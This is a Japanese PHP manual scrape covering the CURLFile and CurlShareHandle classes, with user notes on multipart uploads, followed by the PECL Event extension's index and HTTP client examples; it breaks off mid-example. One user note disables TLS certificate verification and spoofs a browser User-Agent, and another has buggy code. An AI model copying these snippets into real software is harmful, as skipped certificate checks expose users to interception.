There are no user contributed notes for this page.


CurlShareHandle クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 curl_share リソースを置き換える完全不透明クラスです。

クラス概要

final CurlShareHandle {
}

User Contributed Notes

There are no user contributed notes for this page.


CURLFile クラス

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

はじめに

CURLOPT_POSTFIELDS でファイルのアップロードをするには、 CURLFile を使わなければいけません。

CURLFile のインスタンスをデシリアライズすることはできません。 PHP 7.4.0 以降では、そもそもシリアライズ自体も禁止されています。

クラス概要

CURLFile {
/* プロパティ */
public mixed $name ;
public mixed $mime ;
public mixed $postname ;
/* メソッド */
public __construct ( string $filename , string|null $mime_type = null , string|null $posted_filename = null )
public getFilename ( ) : string
public getMimeType ( ) : string
public getPostFilename ( ) : string
public setMimeType ( string $mime_type ) : void
public setPostFilename ( string $posted_filename ) : void
}

プロパティ

name

アップロードするファイルの名前。

mime

ファイルの MIME タイプ (デフォルトは application/octet-stream)。

postname

アップロードするデータの中のファイルの名前 (デフォルトは name プロパティ)。

参考

  • curl_setopt()

目次

  • CURLFile::__construct — CURLFile オブジェクトを作る
  • CURLFile::getFilename — ファイル名を取得する
  • CURLFile::getMimeType — MIME タイプを取得する
  • CURLFile::getPostFilename — POST 用のファイル名を取得する
  • CURLFile::setMimeType — MIME タイプを設定する
  • CURLFile::setPostFilename — POST 用のファイル名を設定する

User Contributed Notes

php at miknik dot co dot uk 27-Mar-2018 09:46
Simple function to construct CURLFile from the file path:

function makeCurlFile($file){
$mime = mime_content_type($file);
$info = pathinfo($file);
$name = $info['basename'];
$output = new CURLFile($file, $mime, $name);
return $output;
}

Then construct an array of all the form fields you want to post. For each file upload just add the CURLFiles.

$ch = curl_init("https://api.example.com");
$mp3 =makeCurlFile($audio);
$photo = makeCurlFile($picture);
$data = array('mp3' => $mp3, 'picture' => $photo, 'name' => 'My latest single', 'description' => 'Check out my newest song');
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
if (curl_errno($ch)) {
   $result = curl_error($ch);
}
curl_close ($ch);
ohcc at 163 dot com 04-Dec-2017 06:23
This is how to upload two or more files at once with cURLFile.

With modern browser support, you can upload many files at one time if the multiple attribute is given.

<input type="file" name="file[]" muliple />

With outdated browser you can place many input elements to do that.

<input type="file" name="file[]" />
<input type="file" name="file[]" />
<input type="file" name="file[]" />

Here's the php code to handle multiple uploads.

<?php
    $cURLHandle = curl_init();
    // ... more code ...
    $postFields = array(
        'file[0]' => new cURLFile($file1, $mimetype1, $basename1),
        'file[1]' => new cURLFile($file2, $mimetype2, $basename2)
    )

    curl_setopt($cURLHandle, CURLOPT_POSTFIELDS, $fields);

    // ... more code ...
?>
Each file's mimetype can be determined by finfo, and its basename can be fetched from $_FILES if it is uploaded from the client-end or by pathinfo() if it is locally stored.

Don't leave the square brackets in ''file[0]'' empty like 'file[]', in that way only the last file will be received by the remote server.
humbads at gmail dot com 02-Sep-2015 02:13
// For backward compatibility,
// convert @ prefixed file names to CurlFile class
// since @ prefix is deprecated as of PHP 5.6
if(is_array($postfields) == true)
{
    // Check each post field
    foreach($postfields as $key => $value)
    {
        // Convert values for keys starting with '@' prefix
        if(strpos($value, '@') === 0)
        {
            // Get the file name
            $filename = ltrim($value, '@');
            // Convert the value to the new class
            $postfields[$key] = new CURLFile($filename);
        }
    }
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);

This code should be extended if support for the ';type=mimetype' suffix is needed.
alin dot rzv at gmail dot com 18-Aug-2014 01:37
i've seen some downvotes , here is a small example of using curl to upload image .

<?php
$target="http://youraddress.tld/example/upload.php";

# http://php.net/manual/en/curlfile.construct.php

// Create a CURLFile object / procedural method
$cfile = curl_file_create('resource/test.png','image/png','testpic'); // try adding

// Create a CURLFile object / oop method
#$cfile = new CURLFile('resource/test.png','image/png','testpic'); // uncomment and use if the upper procedural method is not working.

// Assign POST data
$imgdata = array('myimage' => $cfile);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $target);
curl_setopt($curl, CURLOPT_USERAGENT,'Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15');
curl_setopt($curl, CURLOPT_HTTPHEADER,array('User-Agent: Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15','Referer: http://someaddress.tld','Content-Type: multipart/form-data'));
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true); // enable posting
curl_setopt($curl, CURLOPT_POSTFIELDS, $imgdata); // post images
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
$r = curl_exec($curl);
curl_close($curl);

?>
CertaiN 04-Jun-2014 04:56
There are "@" issue on multipart POST requests.

Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of "@".

Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change "Content-Type" header by yourself.

The following snippet will help you :D

<?php

/**
 * For safe multipart POST request for PHP5.3 ~ PHP 5.4.
 *
 * @param resource $ch cURL resource
 * @param array $assoc "name => value"
 * @param array $files "name => path"
 * @return bool
 */
function curl_custom_postfields($ch, array $assoc = array(), array $files = array()) {

    // invalid characters for "name" and "filename"
    static $disallow = array("\0", "\"", "\r", "\n");

    // build normal parameters
    foreach ($assoc as $k => $v) {
        $k = str_replace($disallow, "_", $k);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"",
            "",
            filter_var($v),
        ));
    }

    // build file parameters
    foreach ($files as $k => $v) {
        switch (true) {
            case false === $v = realpath(filter_var($v)):
            case !is_file($v):
            case !is_readable($v):
                continue; // or return false, throw new InvalidArgumentException
        }
        $data = file_get_contents($v);
        $v = call_user_func("end", explode(DIRECTORY_SEPARATOR, $v));
        $k = str_replace($disallow, "_", $k);
        $v = str_replace($disallow, "_", $v);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"; filename=\"{$v}\"",
            "Content-Type: application/octet-stream",
            "",
            $data,
        ));
    }

    // generate safe boundary
    do {
        $boundary = "---------------------" . md5(mt_rand() . microtime());
    } while (preg_grep("/{$boundary}/", $body));

    // add boundary for each parameters
    array_walk($body, function (&$part) use ($boundary) {
        $part = "--{$boundary}\r\n{$part}";
    });

    // add final boundary
    $body[] = "--{$boundary}--";
    $body[] = "";

    // set options
    return @curl_setopt_array($ch, array(
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => implode("\r\n", $body),
        CURLOPT_HTTPHEADER => array(
            "Expect: 100-continue",
            "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
        ),
    ));
}

?>


CURLFile オブジェクトを作る

  • ≪ CURLFile
  • CURLFile::getFilename ≫
  • PHP Manual
  • CURLFile
  • CURLFile オブジェクトを作る

CURLFile::__construct

curl_file_create

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::__construct -- curl_file_create — CURLFile オブジェクトを作る

説明

オブジェクト指向型

public CURLFile::__construct ( string $filename , string|null $mime_type = null , string|null $posted_filename = null )

手続き型

curl_file_create ( string $filename , string|null $mime_type = null , string|null $posted_filename = null ) : CURLFile

CURLFile オブジェクトを作ります。これは、CURLOPT_POSTFIELDS でファイルをアップロードするときに使います。

パラメータ

filename

アップロードするファイルへのパス。

mime_type

ファイルの Mimetype。

posted_filename

アップロードデータの中で使うファイルの名前。

返り値

CURLFile オブジェクトを返します。

変更履歴

バージョン | 説明
8.0.0 | mime_type と posted_filename は nullable になりました。 これより前のバージョンでは、デフォルト値が 0 でした。

例

例1 CURLFile::__construct() の例

オブジェクト指向型

<?php
/* http://example.com/upload.php:
<?php var_dump($_FILES); ?>
*/

// cURL ハンドルを作ります
$ch = curl_init('http://example.com/upload.php');

// CURLFile オブジェクトを作ります
$cfile = new CURLFile('cats.jpg','image/jpeg','test_name');

// POST データを設定します
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// このハンドルを実行します
curl_exec($ch);
?>

手続き型

<?php
/* http://example.com/upload.php:
<?php var_dump($_FILES); ?>
*/

// cURL ハンドルを作ります
$ch = curl_init('http://example.com/upload.php');

// CURLFile オブジェクトを作ります
$cfile = curl_file_create('cats.jpg','image/jpeg','test_name');

// POST データを設定します
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// このハンドルを実行します
curl_exec($ch);
?>

上の例の出力は以下となります。

array(1) {
  ["test_file"]=>
  array(5) {
    ["name"]=>
    string(9) "test_name"
    ["type"]=>
    string(10) "image/jpeg"
    ["tmp_name"]=>
    string(14) "/tmp/phpPC9Kbx"
    ["error"]=>
    int(0)
    ["size"]=>
    int(46334)
  }
}

例2 CURLFile::__construct() で、複数のファイルをアップロードする例

オブジェクト指向型

<?php
$request = curl_init('http://www.example.com/upload.php');
curl_setopt($request, CURLOPT_POST, true);
curl_setopt($request,
CURLOPT_SAFE_UPLOAD, true); curl_setopt(
    $request,
    CURLOPT_POSTFIELDS,
    [
        'blob[0]' => new CURLFile(realpath('first-file.jpg'), 'image/jpeg'),
        'blob[1]' => new CURLFile(realpath('second-file.txt'), 'text/plain'),
        'blob[2]' => new CURLFile(realpath('third-file.exe'), 'application/octet-stream'),
    ] );
curl_setopt($request, CURLOPT_RETURNTRANSFER, true);

echo curl_exec($request);

var_dump(curl_getinfo($request));

curl_close($request);

手続き型

<?php
// procedural
$request = curl_init('http://www.example.com/upload.php');
curl_setopt($request, CURLOPT_POST, true);
curl_setopt($request, CURLOPT_SAFE_UPLOAD, true); curl_setopt(
    $request,
    CURLOPT_POSTFIELDS,
    [
        'blob[0]' => curl_file_create(realpath('first-file.jpg'), 'image/jpeg'),
        'blob[1]' => curl_file_create(realpath('second-file.txt'), 'text/plain'),
        'blob[2]' => curl_file_create(realpath('third-file.exe'), 'application/octet-stream'),
    ] );
curl_setopt($request, CURLOPT_RETURNTRANSFER, true);

echo curl_exec($request);

var_dump(curl_getinfo($request));

curl_close($request);

上の例の出力は以下となります。

array(26) {
  ["url"]=>
  string(31) "http://www.example.com/upload.php"
  ["content_type"]=>
  string(24) "text/html; CHARSET=shift-jis"
  ["http_code"]=>
  int(200)
  ["header_size"]=>
  int(198)
  ["request_size"]=>
  int(196)
  ["filetime"]=>
  int(-1)
  ["ssl_verify_result"]=>
  int(0)
  ["redirect_count"]=>
  int(0)
  ["total_time"]=>
  float(0.060062)
  ["namelookup_time"]=>
  float(0.028575)
  ["connect_time"]=>
  float(0.029011)
  ["pretransfer_time"]=>
  float(0.029121)
  ["size_upload"]=>
  float(3230730)
  ["size_download"]=>
  float(811)
  ["speed_download"]=>
  float(13516)
  ["speed_upload"]=>
  float(53845500)
  ["download_content_length"]=>
  float(811)
  ["upload_content_length"]=>
  float(3230730)
  ["starttransfer_time"]=>
  float(0.030355)
  ["redirect_time"]=>
  float(0)
  ["redirect_url"]=>
  string(0) ""
  ["primary_ip"]=>
  string(13) "0.0.0.0"
  ["certinfo"]=>
  array(0) {
  }
  ["primary_port"]=>
  int(80)
  ["local_ip"]=>
  string(12) "0.0.0.0"
  ["local_port"]=>
  int(34856)
}

参考

  • curl_setopt() - cURL 転送用オプションを設定する

User Contributed Notes

CertaiN 04-Jun-2014 04:55
There are "@" issue on multipart POST requests.

Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of "@".

Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change "Content-Type" header by yourself.

The following snippet will help you :D

<?php

/**
 * For safe multipart POST request for PHP5.3 ~ PHP 5.4.
 *
 * @param resource $ch cURL resource
 * @param array $assoc "name => value"
 * @param array $files "name => path"
 * @return bool
 */
function curl_custom_postfields($ch, array $assoc = array(), array $files = array()) {

    // invalid characters for "name" and "filename"
    static $disallow = array("\0", "\"", "\r", "\n");

    // build normal parameters
    foreach ($assoc as $k => $v) {
        $k = str_replace($disallow, "_", $k);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"",
            "",
            filter_var($v),
        ));
    }

    // build file parameters
    foreach ($files as $k => $v) {
        switch (true) {
            case false === $v = realpath(filter_var($v)):
            case !is_file($v):
            case !is_readable($v):
                continue; // or return false, throw new InvalidArgumentException
        }
        $data = file_get_contents($v);
        $v = call_user_func("end", explode(DIRECTORY_SEPARATOR, $v));
        $k = str_replace($disallow, "_", $k);
        $v = str_replace($disallow, "_", $v);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"; filename=\"{$v}\"",
            "Content-Type: application/octet-stream",
            "",
            $data,
        ));
    }

    // generate safe boundary
    do {
        $boundary = "---------------------" . md5(mt_rand() . microtime());
    } while (preg_grep("/{$boundary}/", $body));

    // add boundary for each parameters
    array_walk($body, function (&$part) use ($boundary) {
        $part = "--{$boundary}\r\n{$part}";
    });

    // add final boundary
    $body[] = "--{$boundary}--";
    $body[] = "";

    // set options
    return @curl_setopt_array($ch, array(
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => implode("\r\n", $body),
        CURLOPT_HTTPHEADER => array(
            "Expect: 100-continue",
            "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
        ),
    ));
}

?>
mipa 04-Mar-2014 08:33
For PHP < 5.5:

<?php

if (!function_exists('curl_file_create')) {
    function curl_file_create($filename, $mimetype = '', $postname = '') {
        return "@$filename;filename="
            . ($postname ?: basename($filename))
            . ($mimetype ? ";type=$mimetype" : '');
    }
}

?>


ファイル名を取得する

  • ≪ CURLFile::__construct
  • CURLFile::getMimeType ≫
  • PHP Manual
  • CURLFile
  • ファイル名を取得する

CURLFile::getFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getFilename — ファイル名を取得する

説明

public CURLFile::getFilename ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

ファイル名を返します。

User Contributed Notes

There are no user contributed notes for this page.


MIME タイプを取得する

  • ≪ CURLFile::getFilename
  • CURLFile::getPostFilename ≫
  • PHP Manual
  • CURLFile
  • MIME タイプを取得する

CURLFile::getMimeType

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getMimeType — MIME タイプを取得する

説明

public CURLFile::getMimeType ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

MIME タイプを返します。

User Contributed Notes

There are no user contributed notes for this page.


POST 用のファイル名を取得する

  • ≪ CURLFile::getMimeType
  • CURLFile::setMimeType ≫
  • PHP Manual
  • CURLFile
  • POST 用のファイル名を取得する

CURLFile::getPostFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getPostFilename — POST 用のファイル名を取得する

説明

public CURLFile::getPostFilename ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

POST 用のファイル名を返します。

User Contributed Notes

There are no user contributed notes for this page.


MIME タイプを設定する

  • ≪ CURLFile::getPostFilename
  • CURLFile::setPostFilename ≫
  • PHP Manual
  • CURLFile
  • MIME タイプを設定する

CURLFile::setMimeType

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::setMimeType — MIME タイプを設定する

説明

public CURLFile::setMimeType ( string $mime_type ) : void

パラメータ

mime_type

POST データで用いる MIME タイプ。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


POST 用のファイル名を設定する

  • ≪ CURLFile::setMimeType
  • Event ≫
  • PHP Manual
  • CURLFile
  • POST 用のファイル名を設定する

CURLFile::setPostFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::setPostFilename — POST 用のファイル名を設定する

説明

public CURLFile::setPostFilename ( string $posted_filename ) : void

パラメータ

posted_filename

POST データで用いるファイル名。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Event

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 例
  • Event flags
  • About event persistence
  • Event callbacks
  • Constructing signal events
  • Event — The Event class
    • Event::add — Makes event pending
    • Event::addSignal — Makes signal event pending
    • Event::addTimer — Makes timer event pending
    • Event::__construct — Constructs Event object
    • Event::del — Makes event non-pending
    • Event::delSignal — Makes signal event non-pending
    • Event::delTimer — Makes timer event non-pending
    • Event::free — Make event non-pending and free resources allocated for this event
    • Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent
    • Event::pending — Detects whether event is pending or scheduled
    • Event::set — Re-configures event
    • Event::setPriority — Set event priority
    • Event::setTimer — Re-configures timer event
    • Event::signal — Constructs signal event object
    • Event::timer — Constructs timer event object
  • EventBase — The EventBase class
    • EventBase::__construct — Constructs EventBase object
    • EventBase::dispatch — Dispatch pending events
    • EventBase::exit — Stop dispatching events
    • EventBase::free — Free resources allocated for this event base
    • EventBase::getFeatures — Returns bitmask of features supported
    • EventBase::getMethod — Returns event method in use
    • EventBase::getTimeOfDayCached — Returns the current event base time
    • EventBase::gotExit — Checks if the event loop was told to exit
    • EventBase::gotStop — Checks if the event loop was told to exit
    • EventBase::loop — Dispatch pending events
    • EventBase::priorityInit — Sets number of priorities per event base
    • EventBase::reInit — Re-initialize event base(after a fork)
    • EventBase::stop — Tells event_base to stop dispatching events
  • EventBuffer — The EventBuffer class
    • EventBuffer::add — Append data to the end of an event buffer
    • EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer
    • EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer
    • EventBuffer::__construct — Constructs EventBuffer object
    • EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer
    • EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere
    • EventBuffer::enableLocking — 説明
    • EventBuffer::expand — Reserves space in buffer
    • EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding
    • EventBuffer::lock — Acquires a lock on buffer
    • EventBuffer::prepend — Prepend data to the front of the buffer
    • EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer
    • EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string
    • EventBuffer::read — Read data from an evbuffer and drain the bytes read
    • EventBuffer::readFrom — Read data from a file onto the end of the buffer
    • EventBuffer::readLine — Extracts a line from the front of the buffer
    • EventBuffer::search — Scans the buffer for an occurrence of a string
    • EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line
    • EventBuffer::substr — Substracts a portion of the buffer data
    • EventBuffer::unfreeze — Re-enable calls that modify an event buffer
    • EventBuffer::unlock — Releases lock acquired by EventBuffer::lock
    • EventBuffer::write — Write contents of the buffer to a file or socket
  • EventBufferEvent — The EventBufferEvent class
    • EventBufferEvent::close — Closes file descriptor associated with the current buffer event
    • EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket
    • EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving
    • EventBufferEvent::__construct — Constructs EventBufferEvent object
    • EventBufferEvent::createPair — Creates two buffer events connected to each other
    • EventBufferEvent::disable — Disable events read, write, or both on a buffer event
    • EventBufferEvent::enable — Enable events read, write, or both on a buffer event
    • EventBufferEvent::free — Free a buffer event
    • EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt
    • EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event
    • EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event
    • EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event
    • EventBufferEvent::read — Read buffer's data
    • EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf
    • EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks
    • EventBufferEvent::setPriority — Assign a priority to a bufferevent
    • EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event
    • EventBufferEvent::setWatermark — Adjusts read and/or write watermarks
    • EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event
    • EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event
    • EventBufferEvent::sslGetCipherInfo — Returns a textual description of the cipher
    • EventBufferEvent::sslGetCipherName — Returns the current cipher name of the SSL connection
    • EventBufferEvent::sslGetCipherVersion — Returns version of cipher used by current SSL connection
    • EventBufferEvent::sslGetProtocol — Returns the name of the protocol used for current SSL connection
    • EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation
    • EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket
    • EventBufferEvent::write — Adds data to a buffer event's output buffer
    • EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer
  • About buffer event callbacks
  • EventConfig — The EventConfig class
    • EventConfig::avoidMethod — Tells libevent to avoid specific event method
    • EventConfig::__construct — Constructs EventConfig object
    • EventConfig::requireFeatures — Enters a required event method feature that the application demands
    • EventConfig::setMaxDispatchInterval — Prevents priority inversion
  • EventDnsBase — The EventDnsBase class
    • EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base
    • EventDnsBase::addSearch — Adds a domain to the list of search domains
    • EventDnsBase::clearSearch — Removes all current search suffixes
    • EventDnsBase::__construct — Constructs EventDnsBase object
    • EventDnsBase::countNameservers — Gets the number of configured nameservers
    • EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file
    • EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file
    • EventDnsBase::setOption — Set the value of a configuration option
    • EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches
  • EventHttp — The EventHttp class
    • EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource
    • EventHttp::addServerAlias — Adds a server alias to the HTTP server object
    • EventHttp::bind — Binds an HTTP server on the specified address and port
    • EventHttp::__construct — Constructs EventHttp object(the HTTP server)
    • EventHttp::removeServerAlias — Removes server alias
    • EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks
    • EventHttp::setCallback — Sets a callback for specified URI
    • EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks
    • EventHttp::setMaxBodySize — Sets maximum request body size
    • EventHttp::setMaxHeadersSize — Sets maximum HTTP header size
    • EventHttp::setTimeout — Sets the timeout for an HTTP request
  • EventHttpConnection — The EventHttpConnection class
    • EventHttpConnection::__construct — Constructs EventHttpConnection object
    • EventHttpConnection::getBase — Returns event base associated with the connection
    • EventHttpConnection::getPeer — Gets the remote address and port associated with the connection
    • EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection
    • EventHttpConnection::setCloseCallback — Set callback for connection close
    • EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made
    • EventHttpConnection::setLocalPort — Sets the local port from which connections are made
    • EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection
    • EventHttpConnection::setMaxHeadersSize — Sets maximum header size
    • EventHttpConnection::setRetries — Sets the retry limit for the connection
    • EventHttpConnection::setTimeout — Sets the timeout for the connection
  • EventHttpRequest — The EventHttpRequest class
    • EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request
    • EventHttpRequest::cancel — Cancels a pending HTTP request
    • EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request
    • EventHttpRequest::closeConnection — Closes associated HTTP connection
    • EventHttpRequest::__construct — Constructs EventHttpRequest object
    • EventHttpRequest::findHeader — Finds the value belonging a header
    • EventHttpRequest::free — Frees the object and removes associated events
    • EventHttpRequest::getBufferEvent — Returns EventBufferEvent object
    • EventHttpRequest::getCommand — Returns the request command(method)
    • EventHttpRequest::getConnection — Returns EventHttpConnection object
    • EventHttpRequest::getHost — Returns the request host
    • EventHttpRequest::getInputBuffer — Returns the input buffer
    • EventHttpRequest::getInputHeaders — Returns associative array of the input headers
    • EventHttpRequest::getOutputBuffer — Returns the output buffer of the request
    • EventHttpRequest::getOutputHeaders — Returns associative array of the output headers
    • EventHttpRequest::getResponseCode — Returns the response code
    • EventHttpRequest::getUri — Returns the request URI
    • EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request
    • EventHttpRequest::sendError — Send an HTML error message to the client
    • EventHttpRequest::sendReply — Send an HTML reply to the client
    • EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply
    • EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate
    • EventHttpRequest::sendReplyStart — Initiate a chunked reply
  • EventListener — The EventListener class
    • EventListener::__construct — Creates new connection listener associated with an event base
    • EventListener::disable — Disables an event connect listener object
    • EventListener::enable — Enables an event connect listener object
    • EventListener::getBase — Returns event base associated with the event listener
    • EventListener::getSocketName — Retreives the current address to which the listener's socket is bound
    • EventListener::setCallback — The setCallback purpose
    • EventListener::setErrorCallback — Set event listener's error callback
  • EventSslContext — The EventSslContext class
    • EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes
  • EventUtil — The EventUtil class
    • EventUtil::__construct — The abstract constructor
    • EventUtil::getLastSocketErrno — Returns the most recent socket error number
    • EventUtil::getLastSocketError — Returns the most recent socket error
    • EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream
    • EventUtil::getSocketName — Retreives the current address to which the socket is bound
    • EventUtil::setSocketOption — Sets socket options
    • EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

User Contributed Notes

grzegorz129 at gmail dot com 26-Nov-2016 09:14
Stubs / headers for this library are available in IDE-agnostic format on GitHub: https://github.com/kiler129/pecl-event-stubs


はじめに

This is an extension to efficiently schedule I/O, time and signal based events using the best I/O notification mechanism available for specific platform. This is a port of libevent to the PHP infrastructure.

注意:

Note, Windows support introduced in event-1.9.0 .

Version 1.0.0 introduces new object-oriented API (breaking backwards compatibility), and support of libevent 2+ including HTTP, DNS, OpenSSL and the event listener.

注意:

Note, event-1.0.0 and greater is not compatible with previous versions.

User Contributed Notes

AoK 16-May-2014 04:06
PHP event service works at PHP 5.4+.  Couldn't get event to work on a PHP 5.3.10 install.

To get event working (OS X as an example):
1. brew install libevent
2. sudo pecl install event

This is tricky because pecl yields both "event" and "libevent" packages.  I was successful with "event" and not "libevent".


要件

This extension requires » libevent library. Most modern distributions provide packages for libevent.

OpenSSL features require » OpenSSL library.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/event .

User Contributed Notes

There are no user contributed notes for this page.


例

例1 Simple HTTP client

<?php
// Read callback
function readcb($bev, $base) {
    //$input = $bev->input; //$bev->getInput();

    //$pos = $input->search("TTP");
    $pos = $bev->input->search("TTP");

    while (($n = $bev->input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}

// Event callback
function eventcb($bev, $events, $base) {
    if ($events & EventBufferEvent::CONNECTED) {
        echo "Connected.\n";
    } elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
        if ($events & EventBufferEvent::ERROR) {
            echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
        }

        echo "Closing\n";
        $base->exit();
        exit("Done\n");
    }
}

if ($argc != 3) {
    echo <<<EOS
Trivial HTTP 0.x client
Syntax: php {$argv[0]} [hostname] [resource]
Example: php {$argv[0]} www.google.com /

EOS;
    exit();
}

$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // We'll use async DNS resolving
if (!$dns_base) {
    exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
    "readcb", /* writecb */ NULL, "eventcb"
);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

//$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

$output = $bev->output; //$bev->getOutput();
if (!$output->add(
    "GET {$argv[2]} HTTP/1.0\r\n".
    "Host: {$argv[1]}\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

if (!$bev->connectHost($dns_base, $argv[1], 80, EventUtil::AF_UNSPEC)) {
    exit("Can't connect to host {$argv[1]}\n");
}

$base->dispatch();
?>

上の例の出力は、 たとえば以下のようになります。

Connected.
HTTP/1.1 301 Moved Permanently
Date: Fri, 01 Mar 2013 18:47:48 GMT
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=shift-jis
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Age: 133438
Expires: Sat, 30 Mar 2013 05:39:28 GMT
Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;CHARSET=shift-jis">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.co.uk/">here</A>.
</BODY></HTML>
Closing
Done

例2 HTTP client using asynchronous DNS resolver

<?php
/*
 * 1. Connect to 127.0.0.1 at port 80
 * by means of EventBufferEvent::connect().
 *
 * 2. Request /index.cphp via HTTP/1.0
 * using the output buffer.
 *
 * 3. Asyncronously read the response and print it to stdout.
 */

// Read callback
function readcb($bev, $base) {
    $input = $bev->getInput();

    while (($n = $input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}

// Event callback
function eventcb($bev, $events, $base) {
    if ($events & EventBufferEvent::CONNECTED) {
        echo "Connected.\n";
    } elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
